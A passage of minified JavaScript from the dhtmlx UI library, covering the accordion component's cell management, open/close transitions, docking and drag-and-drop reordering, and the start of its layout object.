this.t[w].cell};this.removeItem=function(a){if(!this.t[a]){return}if(this.conf.last_opened==a){this.conf.last_opened=null}if(this.conf.on_active_id==a){this.conf.on_active_id=null}if(this._dnd!=null){this._dndClearCell(a)}this.conf.total_count--;if(!this.conf.multi_mode&&!this.t[a].cell.conf.visible){this.conf.hiden_count--}this.t[a].cell._unload();this.t[a].cell=null;this.t[a]=null;delete this.t[a];if(!this.conf.unloading){if(!this.conf.multi_mode){this._updateCellsMargin()}this.setSizes()}};this.cells=function(a){return this.t[a].cell};this.enableMultiMode=function(a,o){this.conf.multi_mode=true;if(!isNaN(o)){this.conf.def_height=o}if(a==\"auto\"||a==\"scroll\"){this.cont.style.overflowX=\"hidden\";this.cont.style.overflowY=a}else{this.cont.style.overflow=\"visible\"}};this.forEachItem=function(q){for(var o in this.t){if(typeof(q)==\"function\"){q.apply(this,[this.t[o].cell])}else{if(typeof(q)==\"string\"&&typeof(window[q])==\"function\"){window[q].apply(this,[this.t[o].cell])}}}};this._openItem=function(o,a){if(typeof(a)==\"undefined\"){a=true}if(this.t[o].cell.conf.opened==false){if(this.conf.multi_mode){this.t[o].cell._open(a)}else{if(this.conf.tr.prop==false){if(this.conf.last_opened!=null){this.t[this.conf.last_opened].cell._close(false)}this.t[o].cell._open(false);this.conf.last_opened=o}else{this.conf.on_active_id=o;this.t[o].cell._open(a);if(this.conf.last_opened!=null){this.t[this.conf.last_opened].cell._close(a)}this.conf.last_opened=o}}}};this._closeItem=function(o,a){if(typeof(a)==\"undefined\"){a=true}if(this.t[o].cell.conf.opened==true){this.t[o].cell._close(a);this.conf.last_opened=null}};this._adjustOpened=function(){if(this.conf.multi_mode==true){if(this._openCache==null){var s=this._getDynData();for(var q in s){this.t[q].cell.conf.size.h=s[q];this.t[q].cell.cell.style.height=s[q]+\"px\"}}else{var u=false;for(var q in this._openCache){u=(u||this._openCache[q])}if(u==true){return}this._openCache=this._openId=null}var o=this._getAvailItemWidth();for(var q in this.t){var r=true;if(o==this.t[q].cell.conf.size.w&&(this._openMode==\"close\"||this.t[q].cell.conf.opened==false)){r=false}if(r){this.t[q].cell._setWidth(o)}}this._openMode=null}else{if(this.conf.last_opened!=null){var v=this.conf.last_opened;this.t[v].cell._setSize(this.t[v].cell.conf.size.x,this.t[v].cell.conf.size.y,this.t[v].cell.conf.size.w,this.t[v].cell.conf.size.h)}}};this._getDynData=function(D,C){if(typeof(D)==\"undefined\"||D==null){D={}}if(typeof(C)==\"undefined\"||C==null){C={}}var w={};var A=0;var v=0;var s=0;for(var o=0;o<this.cont.childNodes.length;o++){var r=this.cont.childNodes[o]._accId;var F=this.t[r].cell;if(F.conf.visible==true){var x=this.ofs.m[s==0?\"first\":\"between\"];if(D[r]==true||C[r]==true||(F.conf.opened==true&&F.conf.h_auto==true)){if(C[r]==true){var y=F._getHdrHeight();w[r]=y;v+=y+x}else{if(F.conf.h_auto==true){w[r]=true;v+=x;A++}else{if(D[r]==true){w[r]=F.conf.size.h;v+=F.conf.size.h+x}}}}else{v+=F.cell.offsetHeight+x}s++}F=null}if(A>0){var u=this.cont.offsetHeight-v;var v=Math.floor(u/A);for(var E in w){if(w[E]==true){if(A>1){u-=v}else{v=u}w[E]=v;A--}}}return w};this.setSizes=function(){this._adjustCont();if(this.conf.multi_mode==true){this._adjustOpened()}else{this.conf.cont_w=null;var q=this._updateCellsHeight();for(var o in this.t){this.t[o].cell._setSize(this.ofs.s.left,0,this.conf.cont_w||this._getAvailItemWidth(),this.t[o].cell.conf.opened?q:this.t[o].cell._getHdrHeight());if(!this.t[o].cell.conf.opened){this.t[o].cell.conf.size.h=q;this.t[o].cell._adjustCell()}}this.conf.size_changed=true}this.callEvent(\"_onSetSizes\",[])};this.setSkin=function(q){this._setBaseSkin(q);this.conf.skin=q;for(var o in this.t){this.t[o].cell.conf.cells_cont=null;this.t[o].cell.conf.skin=this.conf.skin}this._applyOffsets();this._updateCellsMargin();this.setSizes()};this.setIconsPath=function(a){this.conf.icons_path=a};this._getAvailItemWidth=function(){var o=this.ofs[(this.conf.multi_mode?\"m\":\"s\")];var a=Math.max(this.cont.clientWidth-o.left-o.right,10);this.conf.cont_w=a;o=null;return a};this._updateCellsHeight=function(){if(this.conf.multi_mode==true){return}var r=this.conf.total_count-this.conf.hiden_count;var s=this.cont.offsetHeight-this.ofs.s.last;if(r==0){return s}var v=false;for(var u=0;u<this.cont.childNodes.length;u++){if(v==false){var w=this.cont.childNodes[u]._accId;if(this.t[w].cell.conf.visible){s-=this.t[w].cell._getHdrHeight()*(r-1);v=true}}}s-=(r-1)*this.ofs.s.between+this.ofs.s.first;for(var o in this.t){if(this.t[o].cell.conf.size!=null){this.t[o].cell.conf.size.h=s;this.t[o].cell._adjustCell()}}return s};this._updateCellsMargin=function(){var a=0;for(var o=0;o<this.cont.childNodes.length;o++){var r=this.cont.childNodes[o]._accId;if(this.t[r].cell.conf.visible){this.t[r].cell.cell.style.marginTop=String(this.ofs[this.conf.multi_mode?\"m\":\"s\"][a++==0?\"first\":\"between\"])+\"px\"}}};this._hdrClick=function(o){if(!this.conf.multi_mode&&this.t[o].cell.conf.opened){return}var a=this.t[o].cell.conf.opened;if(this.callEvent(\"onBeforeActive\",[o,(a?false:true)])!==true){return}this.conf.on_active_click=true;this[a?\"_closeItem\":\"_openItem\"](o);if(this.conf.multi_mode&&this.conf.tr.prop==false){this._adjustOpened()}};this.unload=function(){this.conf.unloading=true;for(var o in this.t){this.removeItem(o)}this.t=null;if(typeof(this._unloadDND)==\"function\"){this._unloadDND()}if(this.dhxWins){this.dhxWins.unload();this.dhxWins=null}this._unloadTop();window.dhx4._enableDataLoading(this,null,null,null,\"clear\");window.dhx4._eventable(this,\"clear\");this.ofs=this.conf=null;for(var o in this){this[o]=null}g=null};this.setOffset=function(a){this.ofs.s.between=a;this.ofs.m.between=a;this._updateCellsMargin();this.setSizes()};this._initObj=function(o){if(o.skin!=null){this.setSkin(o.skin)}if(window.dhx4.s2b(o.multi_mode)){this.enableMultiMode()}if(o.icons_path!=null){this.setIconsPath(o.icons_path)}if(o.icon_path!=null){this.setIconsPath(o.icon_path)}if(o.items!=null){for(var a=0;a<o.items.length;a++){this.addItem(o.items[a].id,o.items[a].text,o.items[a].open,o.items[a].height,o.items[a].icon||o.items[a].img)}}if(window.dhx4.s2b(o.dnd)==true&&typeof(this.enableDND)==\"function\"){this.enableDND()}};this._xmlToObj=function(u){var r={items:[]};var a=u.getElementsByTagName(\"accordion\")[0];if(a.getAttribute(\"skin\")!=null){r.skin=a.getAttribute(\"skin\")}if(a.getAttribute(\"mode\")==\"multi\"){r.multi_mode=true}if(a.getAttribute(\"multiMode\")!=null){r.multi_mode=window.dhx4.s2b(a.getAttribute(\"multiMode\"))}if(a.getAttribute(\"iconsPath\")!=null){r.icons_path=a.getAttribute(\"iconsPath\")}for(var s=0;s<a.childNodes.length;s++){var v=a.childNodes[s];if(typeof(v.tagName)!=\"undefined\"&&String(v.tagName).toLowerCase()==\"cell\"){var o={};if(v.getAttribute(\"id\")!=null){o.id=v.getAttribute(\"id\")}if(v.getAttribute(\"icon\")!=null){o.icon=v.getAttribute(\"icon\")}if(v.getAttribute(\"height\")!=null){o.height=v.getAttribute(\"height\")}if(v.getAttribute(\"open\")!=null){o.open=window.dhx4.s2b(v.getAttribute(\"open\"))}o.text=v.firstChild.nodeValue;r.items.push(o)}v=null}return r};window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"accordion\",{struct:true});window.dhx4._eventable(this);this._callMainEvent=function(o,a){return this.callEvent(o,a)};this.attachEvent(\"onActive\",function(a){if(this.t[a].cell.dataObj!=null&&this.t[a].cell.dataType==\"editor\"){this.t[a].cell.dataObj._prepareContent(true)}if(this.t[a].cell.conf.opened==true){this.t[a].cell._adjustProgress()}});if(typeof(window.dhtmlXWindows)==\"function\"){this.dhxWins=new dhtmlXWindows();this.dhxWins.setSkin(this.conf.skin)}if(l!=null){this._initObj(l);l=null}return this}dhtmlXAccordion.prototype=new dhtmlXCellTop();function dhtmlXAccordionCell(g,e){dhtmlXCellObject.apply(this,[g,\"_acc\"]);this.acc=e;this.conf.visible=true;this.conf.docked=true;this.attachEvent(\"_onCellUnload\",function(){this._trDetachEv();this._unloadDocking();this.acc=null;this.cell._accObj=null;this.cell.childNodes[this.conf.idx.hdr].onselectstart=null;this.cell.childNodes[this.conf.idx.hdr].onclick=null;this._initHeader=null;this._getHdrHeight=null;this._setWidth=null;this._adjustCell=null;this._open=null;this._close=null;this._isOpened=null;this._trInitEv=null;this._trAttachEv=null;this._trDetachEv=null;this._trOnEnd=null;this._onActiveCall=null;this.setText=null;this.getText=null;this.setIcon=null;this.clearIcon=null;this.show=null;this.hide=null;this.isVisible=null;this.setHeight=null;this.moveOnTop=null});this.acc.attachEvent(\"onBeforeDrag\",function(l){if(this.t[l].cell.dataObj!=null&&this.t[l].cell.dataType==\"editor\"){if(this.conf.editor_data==null){this.conf.editor_data={}}this.conf.editor_data[l]=this.t[l].cell.dataObj.getContent()}for(var h in this.t){this.t[h].cell._showCellCover()}return true});this.acc.attachEvent(\"onDrop\",function(l){if(this.t[l].cell.dataObj!=null&&this.t[l].cell.dataType==\"editor\"){this.t[l].cell.dataObj._prepareContent(true);if(this.conf.editor_data!=null&&this.conf.editor_data[l]!=null){this.t[l].cell.dataObj.setContent(this.conf.editor_data[l]);this.conf.editor_data[l]=null}}for(var h in this.t){this.t[h].cell._hideCellCover()}});this.attachEvent(\"_onContentLoaded\",function(){this.acc._callMainEvent(\"onContentLoaded\",arguments)});this.attachEvent(\"_onBeforeContentAttach\",function(a){if(a==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders()}});this._initHeader();this.conf.tr={};for(var c in this.acc.conf.tr){this.conf.tr[c]=this.acc.conf.tr[c]}if(this.conf.tr.prop!=false){this.attachEvent(\"_onIdxUpdated\",function(){this._cellSetOpacity((this.conf.opened?\"open\":\"close\"),false)})}this.open=function(){this.acc._openItem(this._idd)};this.close=function(){this.acc._closeItem(this._idd)};this._setWidth=function(a){if(a!=this.conf.size.w){this.conf.size.w=a;this.cell.style.width=a+\"px\"}this._adjustCell()};this._adjustCell=function(){this._adjustCont();if(this.dataObj!=null&&typeof(this.dataObj.setSizes)==\"function\"){this.dataObj.setSizes()}};this._initDocking();return this}dhtmlXAccordionCell.prototype=new dhtmlXCellObject();dhtmlXAccordionCell.prototype._initHeader=function(){var a=document.createElement(\"DIV\");a.className=\"dhx_cell_hdr\";a.innerHTML=\"<div class='dhx_cell_hdr_text'></div><div class='dhx_cell_hdr_arrow'></div>\";this.cell.insertBefore(a,this.cell.childNodes[this.conf.idx.cont]);a=null;this.conf.ofs_nodes.t._getHdrHeight=\"func\";this.conf.hdr={visible:true};this.conf.idx_data.hdr=\"dhx_cell_hdr\";this._updateIdx()};dhtmlXAccordionCell.prototype._getHdrHeight=function(){return this.cell.childNodes[this.conf.idx.hdr].offsetHeight};dhtmlXAccordionCell.prototype.showHeader=function(){if(this.conf.hdr.visible==true){return}this.conf.hdr.visible=true;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr\";this._adjustCont(this._idd)};dhtmlXAccordionCell.prototype.hideHeader=function(){if(this.conf.hdr.visible!=true){return}this.conf.hdr.visible=false;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr dhx_cell_hdr_hidden\";this._adjustCont(this._idd)};dhtmlXAccordionCell.prototype.isHeaderVisible=function(){return(this.conf.hdr.visible==true)};dhtmlXAccordionCell.prototype.setText=function(a){this.conf.text=a;this.cell.childNodes[this.conf.idx.hdr].firstChild.innerHTML=\"<span>\"+a+\"</span>\"};dhtmlXAccordionCell.prototype.getText=function(){return this.conf.text};dhtmlXAccordionCell.prototype.setIcon=function(e){var c=this.cell.childNodes[this.conf.idx.hdr];if(c.firstChild.className!=\"dhx_cell_hdr_icon\"){c.firstChild.className+=\" dhx_cell_hdr_icon\";var a=document.createElement(\"IMG\");a.className=\"dhx_cell_hdr_icon\";c.insertBefore(a,c.firstChild);a=null}c.firstChild.src=this.acc.conf.icons_path+e;c=null};dhtmlXAccordionCell.prototype.clearIcon=function(){var a=this.cell.childNodes[this.conf.idx.hdr];if(a.firstChild.className==\"dhx_cell_hdr_icon\"){a.removeChild(a.firstChild);a.firstChild.className=String(a.firstChild.className).replace(/\\s{1,}dhx_cell_hdr_icon/gi,\"\")}a=null};dhtmlXAccordionCell.prototype._open=function(c){var h={};if(this.acc.conf.multi_mode){var g={};g[this._idd]=true;h=this.acc._getDynData(g);this.acc._openId=this._idd;this.acc._openCache={};this.acc._openMode=\"open\"}else{h[this._idd]=this.conf.size.h}for(var e in h){if(this.acc._openCache!=null){this.acc._openCache[e]=true}var l=this.acc.t[e].cell;l.cell.className=String(l.cell.className).replace(/\\s{1,}dhx_cell_closed/gi,\"\");l.conf.opened=true;l._trInitEv(\"open\",c);l.conf.size.h=h[e];l.cell.style.height=l.conf.size.h+\"px\";l=null}if(this.conf.tr.prop==false){this.acc._openId=this.acc._openCache=this.acc._openMode=null;this._onActiveCall(true)}};dhtmlXAccordionCell.prototype._close=function(c){var g={};if(this.acc.conf.multi_mode){var h={};h[this._idd]=true;g=this.acc._getDynData(null,h);this.acc._openId=this._idd;this.acc._openCache={};this.acc._openMode=\"close\"}else{g[this._idd]=this._getHdrHeight()}for(var e in g){var l=this.acc.t[e].cell;if(this.acc._openCache!=null){this.acc._openCache[e]=true}if(e==this._idd){l.cell.className+=\" dhx_cell_closed\";l.conf.opened=false;l._trInitEv(\"close\",c)}else{l.conf.size.h=g[e];l._adjustCell();l._trInitEv(\"open\",c)}l.cell.style.height=g[e]+\"px\";l=null}if(this.conf.tr.prop==false){this.acc._openId=this.acc._openCache=this.acc._openMode=null;this._onActiveCall(false)}};dhtmlXAccordionCell.prototype.isOpened=function(){return(this.conf.opened==true)};dhtmlXAccordionCell.prototype._trInitEv=function(c,a){if(this.conf.tr.prop==false){return}this._trAttachEv();if(!this.cell._accObj){this.cell._accObj=this.acc}if(a){this.cell.style[this.conf.tr.prop]=this.conf.tr[\"height_\"+c]}this._cellSetOpacity(c,a)};dhtmlXAccordionCell.prototype._trAttachEv=function(){if(!this.conf.tr.ev_attached){this.cell._trProp=this.conf.tr.prop;this.cell.addEventListener(this.conf.tr.ev,this._trOnEnd,false);this.conf.tr.ev_attached=true}};dhtmlXAccordionCell.prototype._trDetachEv=function(){if(this.conf.tr.ev_attached){this.cell.addEventListener(this.conf.tr.ev,this._trOnEnd,false);this.conf.tr.ev_attached=false}};dhtmlXAccordionCell.prototype._trOnEnd=function(a){if(a.stopPropagation){a.stopPropagation()}if(a.propertyName==\"height\"&&this._accObj!=null){this.style[this._trProp]=\"\";if(this._accObj.conf.multi_mode){if(this._accObj._openCache!=null){this._accObj._openCache[this._accId]=false}this._accObj._adjustOpened()}if(this._accObj.conf.on_active_click==true){if(this._accObj.conf.multi_mode){this._accObj._callMainEvent(\"onActive\",[this._accId,this._accObj.t[this._accId].cell.conf.opened]);this._accObj.conf.on_active_click=false}else{this._accObj._callMainEvent(\"onActive\",[this._accObj.conf.on_active_id,true]);this._accObj.conf.on_active_id=null;this._accObj.conf.on_active_click=false}}this._accObj=null}};dhtmlXAccordionCell.prototype._cellSetOpacity=function(g,c){for(var e in this.conf.idx){if({hdr:true,pr1:true,pr2:true,cover:true}[e]!=true){if(c){this.cell.childNodes[this.conf.idx[e]].style[this.conf.tr.prop]=this.conf.tr[\"op_\"+g]}this.cell.childNodes[this.conf.idx[e]].style.opacity=this.conf.tr[\"op_v_\"+g]}}};dhtmlXAccordionCell.prototype._onActiveCall=function(a){if(this.acc.conf.on_active_click==false){return}if(this.acc.conf.multi_mode==true){this.acc._callMainEvent(\"onActive\",[this._idd,this.conf.opened]);this.acc.conf.on_active_click=false}else{if(a==true){this.acc._callMainEvent(\"onActive\",[this._idd,true]);this.acc.conf.on_active_click=false}}};dhtmlXAccordionCell.prototype.show=function(){if(this.conf.visible){return}if(this.conf.docked==false){this.dock();return}this.cell.style.display=\"\";this.conf.visible=true;if(!this.acc.conf.multi_mode){this.acc.conf.hiden_count--;this.acc._updateCellsHeight();this.acc._updateCellsMargin()}if(this.acc.conf.size_changed){this.acc.setSizes();this.acc.conf.size_changed=false}else{this.acc._adjustOpened()}};dhtmlXAccordionCell.prototype.hide=function(){if(!this.conf.visible){return}if(!this.acc.conf.multi_mode&&this.conf.opened){this._close(false);this.acc.conf.last_opened=null}this.cell.style.display=\"none\";this.conf.visible=false;if(!this.acc.conf.multi_mode){this.acc.conf.hiden_count++;this.acc._updateCellsHeight();this.acc._updateCellsMargin()}this.acc._adjustOpened()};dhtmlXAccordionCell.prototype.isVisible=function(){return(this.conf.visible==true)};dhtmlXAccordionCell.prototype.setHeight=function(a){if(!this.acc.conf.multi_mode){return}if(a==\"*\"){this.conf.h_auto=true}else{this.conf.h_auto=false;this.conf.size.h=a}if(this.conf.opened){if(a!=\"*\"){this.cell.style.height=a+\"px\"}this.acc._adjustOpened()}};dhtmlXAccordionCell.prototype.moveOnTop=function(){if(this.cell.parentNode.firstChild==this.cell){return}this.cell.parentNode.insertBefore(this.cell,this.cell.parentNode.firstChild);this.acc._updateCellsMargin()};dhtmlXAccordionCell.prototype._initDocking=function(){var a=this;this.dock=function(){if(this.acc.dhxWins==null||this.conf.docked==true){return}var c=this.acc.dhxWins.window(this._idd);c.close();this._attachFromCell(c);this.conf.docked=true;this.show();if(this.conf.dock_opened){this.open()}c=null;this.acc._callMainEvent(\"onDock\",[this._idd])};this.undock=function(c,m,g,l){if(this.acc.dhxWins==null||this.conf.docked==false){return}this.conf.dock_opened=this.conf.opened;if(this.acc.dhxWins.window(this._idd)!=null){var e=this.acc.dhxWins.window(this._idd);e.show()}else{if(c==null){c=20}if(m==null){m=20}if(g==null){g=320}if(l==null){l=200}var e=this.acc.dhxWins.createWindow(this._idd,c,m,g,l);e.button(\"close\").hide();e.addUserButton(\"dock\",99,\"Dock\");e.button(\"dock\").show();e.button(\"dock\").attachEvent(\"onClick\",this._doOnDockClick);e.setText(this.getText());e.attachEvent(\"onClose\",this._doOnDockWinClose)}this.conf.docked=false;this.hide();e._attachFromCell(this);e=null;this.acc._callMainEvent(\"onUnDock\",[this._idd])};this._doOnDockClick=function(){a.dock()};this._doOnDockWinClose=function(c){c.hide();return false};this._unloadDocking=function(){a=null}};dhtmlXCellObject.prototype.attachAccordion=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"acc\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";this._attachObject(c);if(typeof(a)==\"undefined\"){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=c;if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={s:{first:-1},m:{first:4}}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){if(this.conf.skin==\"dhx_web\"){c._ofs={l:2}}else{c._ofs={l:-1}}}if(typeof(window.dhtmlXCarouselCell)!=\"undefined\"&&(this instanceof window.dhtmlXCarouselCell)){this._hideBorders()}this.dataType=\"acc\";this.dataObj=new dhtmlXAccordion(a);a.parent=null;c=a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXAccordion.prototype.enableDND=function(){if(this.conf.multi_mode==false||this._dnd!=null){return}var e=this;this._dnd={tr_count:0,tr_items:{}};this._dndAttachEvent=function(g){var a=this.t[g].cell;if(a.conf.dnd_inited!=true){if(typeof(window.addEventListener)==\"function\"){a.cell.childNodes[a.conf.idx.hdr].addEventListener(\"mousedown\",this._dndOnMouseDown,false)}else{a.cell.childNodes[a.conf.idx.hdr].attachEvent(\"onmousedown\",this._dndOnMouseDown)}a.conf.dnd_inited=true}a=null};this._dndDetachEvent=function(g){var a=this.t[g].cell;if(a.conf.dnd_inited==true){if(typeof(window.addEventListener)==\"function\"){a.cell.childNodes[a.conf.idx.hdr].removeEventListener(\"mousedown\",this._dndOnMouseDown,false)}else{a.cell.childNodes[a.conf.idx.hdr].detachEvent(\"onmousedown\",this._dndOnMouseDown)}a.conf.dnd_inited=false}a=null};this._dndOnMouseDown=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}var a=(g.target||g.srcElement);while(a!=null&&a.parentNode!=e.cont){a=a.parentNode}if(a!=null){e._dndDragStart(g,a)}a=null};this._dndDragStart=function(m,h){if(this._dnd.tr_waiting==true){return}var a=-1;for(var l=0;l<h.parentNode.childNodes.length;l++){if(h.parentNode.childNodes[l]==h){a=l}}if(this.callEvent(\"onBeforeDrag\",[h._accId,a])!==true){return}if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousemove\",this._dndOnMouseMove,false);document.body.addEventListener(\"mouseup\",this._dndOnMouseUp,false)}else{document.body.attachEvent(\"onmousemove\",this._dndOnMouseMove,false);document.body.attachEvent(\"onmouseup\",this._dndOnMouseUp,false)}this._dnd.dragObj=h;this._dnd.dy=m.clientY;var g=0;for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){this._dnd.dragObj.parentNode.childNodes[l]._ind=l;if(this._dnd.dragObj.parentNode.childNodes[l]==this._dnd.dragObj){this._dnd.dragObj._k0=g;if(l>0){this._dnd.dragObj._k0+=this.ofs.m.between-this.ofs.m.first}g=0}else{g+=this._dnd.dragObj.parentNode.childNodes[l].offsetHeight+parseInt(this._dnd.dragObj.parentNode.childNodes[l].style.marginTop)}}this._dnd.dragObj._k1=g;this._dnd.h=this._dnd.dragObj.offsetHeight;this._dnd.ofs=false};this._dndDoDrag=function(u){if(!this._dnd.dragObj){return}if(this._dnd.tr_waiting==true){return}var m=u.clientY-this._dnd.dy;if(this._dnd.ofs==false&&Math.abs(m)>5){this._dnd.dragObj.className+=\" acc_cell_dragged\";this._dnd.ofs=true}if(m<0){if(m<-this._dnd.dragObj._k0){m=-this._dnd.dragObj._k0}}else{if(m>this._dnd.dragObj._k1){m=this._dnd.dragObj._k1}}this._dnd.dragObj.style.top=m+\"px\";var o=u.clientY-this._dnd.dy;var l=0;var g=0;for(var n=this._dnd.dragObj._ind+1;n<=this._dnd.dragObj.parentNode.lastChild._ind;n++){var a=this._dnd.dragObj.parentNode.childNodes[n].offsetHeight;if(o>l+a*2/3){g++}l+=a}var h=this._dnd.dragObj.nextSibling;var n=0;while(h!=null){if(++n<=g&&h!=null){if(!h._ontop){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,false,parseInt(h.style.top||0),-this._dnd.h-this.ofs.m.between);h._ontop=true}}else{if(h._ontop){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,true,parseInt(h.style.top||0),0);h._ontop=false}}h=h.nextSibling}var o=this._dnd.dy-u.clientY;var l=0;var g=0;for(var n=this._dnd.dragObj._ind-1;n>=this._dnd.dragObj.parentNode.firstChild._ind;n--){var a=this._dnd.dragObj.parentNode.childNodes[n].offsetHeight;if(o>l+a*2/3){g++}l+=a}var h=this._dnd.dragObj.previousSibling;var n=0;while(h!=null){if(++n<=g&&h!=null){if(!h._onbottom){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,true,parseInt(h.style.top||0),this._dnd.h+this.ofs.m.between);h._onbottom=true}}else{if(h._onbottom){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,false,parseInt(h.style.top),0);h._onbottom=false}}h=h.previousSibling}};this._dndDragStop=function(o,m){if(m){}else{if(this._dnd.tr_count>0){this._dnd.tr_waiting=true;return}}if(!this._dnd.dragObj){return}this._dnd.dragObj.className=String(this._dnd.dragObj.className).replace(/\\s{0,}acc_cell_dragged/gi,\"\");this._dnd.dragObj.style.top=\"0px\";var n=false;for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){var h=this._dnd.dragObj.parentNode.childNodes[l];if(h!=this._dnd.dragObj){if(h._tm){window.clearTimeout(h._tm)}h.style.top=\"0px\";if(h._ontop&&((h.nextSibling!=null&&h.nextSibling._ontop!=true)||!h.nextSibling)){n=(h.nextSibling||null)}if(h._onbottom&&((h.previousSibling!=null&&h.previousSibling._onbottom!=true)||!h.previousSibling)){n=h}}h=null}for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){this._dnd.dragObj.parentNode.childNodes[l]._ontop=null;this._dnd.dragObj.parentNode.childNodes[l]._onbottom=null}if(n!==false){if(n==null){this._dnd.dragObj.parentNode.appendChild(this._dnd.dragObj)}else{this._dnd.dragObj.parentNode.insertBefore(this._dnd.dragObj,n)}}var r=this._dnd.dragObj._accId;var g=this._dnd.dragObj._ind;var a=g;for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){if(this._dnd.dragObj.parentNode.childNodes[l]==this._dnd.dragObj){a=l}}this._dnd.dragObj=null;this._dnd.tr_waiting=false;this._updateCellsMargin();if(g!=a){this.setSizes();this.callEvent(\"onDrop\",[r,g,a])}if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"mousemove\",this._dndOnMouseMove,false);document.body.removeEventListener(\"mouseup\",this._dndOnMouseUp,false)}else{document.body.detachEvent(\"onmousemove\",this._dndOnMouseMove,false);document.body.detachEvent(\"onmouseup\",this._dndOnMouseUp,false)}};this._dndAnim=function(m,a,l,h){if(this.conf.tr.prop!=false){if(!m._dnd_ev){m._dnd_ev=true;m._dnd_tr_prop=this.conf.tr.prop;m.addEventListener(this.conf.tr.ev,this._dndOnTrEnd,false)}if(this._dnd.tr_items[m._accId]!=true){this._dnd.tr_items[m._accId]=true;this._dnd.tr_count++}m.style[this.conf.tr.prop]=this.conf.tr.dnd_top;m.style.top=h+\"px\";return}var g=false;if(a){l+=5;if(l>=h){l=h;g=true}}else{l-=5;if(l<=h){l=h;g=true}}m.style.top=l+\"px\";if(m._tm){window.clearTimeout(m._tm)}if(!g){m._tm=window.setTimeout(function(){e._dndAnim(m,a,l,h)},5)}else{m._tm=null}};this._dndOnTrEnd=function(a){if(a.stopPropagation){a.stopPropagation()}if(a.propertyName==\"top\"){if(e._dnd.tr_items[this._accId]==true){e._dnd.tr_count--;e._dnd.tr_items[this._accId]=false}this.style[this._dnd_tr_prop]=\"\";if(e._dnd.tr_count==0&&e._dnd.tr_waiting==true){e._dndDragStop(null,true)}}};this._dndOnMouseMove=function(a){e._dndDoDrag(a||event)};this._dndOnMouseUp=function(a){e._dndDragStop(a||event)};this._dndClearCell=function(a){if(this.t[a].cell.cell._dnd_ev){this.t[a].cell.cell.addEventListener(this.conf.tr.ev,this._dndOnTrEnd,false)}this._dndDetachEvent(a)};this._unloadDND=function(){for(var g in this){if(String(g).indexOf(\"_dnd\")==0&&typeof(this[g])==\"function\"){this[g]=null}}this._dnd=null;e=null};for(var c in this.t){this._dndAttachEvent(c)}};function dhtmlXLayoutObject(e,o,w){var u=null;if(e!=null&&typeof(e)==\"object\"&&typeof(e.tagName)==\"undefined\"&&e._isCell!=true){u={};if(e.autosize!=null){u.autosize=e.autosize}if(e.cells!=null){u.cells=e.cells}if(e.pattern!=null){o=e.pattern}if(e.skin!=null){w=e.skin}if(e.offsets!=null){u.offsets=e.offsets}e=e.parent}this.cdata={};this.conf={skin:(w||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxlayout\")||\"dhx_skyblue\"),css:\"dhxlayout\",hh:20,autosize:\"b\",nextCell:{a:\"b\",b:\"a\"},inited:false,b_size:{w:-1,h:-1}};if(typeof(e)==\"object\"&&e._isCell==true){var n=(typeof(u)!=\"undefined\"&&u!=null?u:{});if(n.pattern==null&&o!=null){n.pattern=o}if(n.skin==null&&w!=null){n.skin=w}var l=e.attachLayout(n);return l}window.dhtmlXCellTop.apply(this,[e,(u==null?null:u.offsets)]);this.conf.sw=this._detectSW();var m=this;this._getLayout=function(){return this};this.mainInst=(e._layoutMainInst!=null?e._layoutMainInst:null);this._getMainInst=function(){if(this.mainInst!=null){return this.mainInst._getMainInst()}return this};this._init=function(A){var y=(typeof(A)==\"string\"?this.tplData[A]:A);this.conf.mode=y.mode;if(this.conf.mode==\"c\"){this.cdata.a=new dhtmlXLayoutCell(\"a\",this)}else{this.cdata.a=new dhtmlXLayoutCell(\"a\",this);this.cdata.b=new dhtmlXLayoutCell(\"b\",this)}for(var x in this.cdata){this.cont.appendChild(this.cdata[x].cell);this.cdata[x].conf.init={w:0.5,h:0.5}}if(this.conf.mode!=\"c\"){var q=this._getMainInst();if(q.conf.sep_idx==null){q.conf.sep_idx=1}else{q.conf.sep_idx++}this.sep=new dhtmlXLayoutSepObject(this.conf.mode,q.conf.sep_idx);this.cont.appendChild(this.sep.sep);this.sep._getLayout=function(){return m._getLayout()};q=null}if(y.cells!=null){for(var x in y.cells){if(y.cells[x].width!=null){this.cdata[x].conf.init.w=y.cells[x].width}if(y.cells[x].height!=null){this.cdata[x].conf.init.h=y.cells[x].height}if(y.cells[x].name!=null){this.cdata[x].conf.name=y.cells[x].name;this.cdata[x].setText(y.cells[x].name)}if(y.cells[x].fsize!=null){this.cdata[x].conf.fsize=y.cells[x].fsize}}}this.setSizes();for(var x in this.cdata){this.cdata[x].conf.init={}}if(y.cells!=null){for(var x in 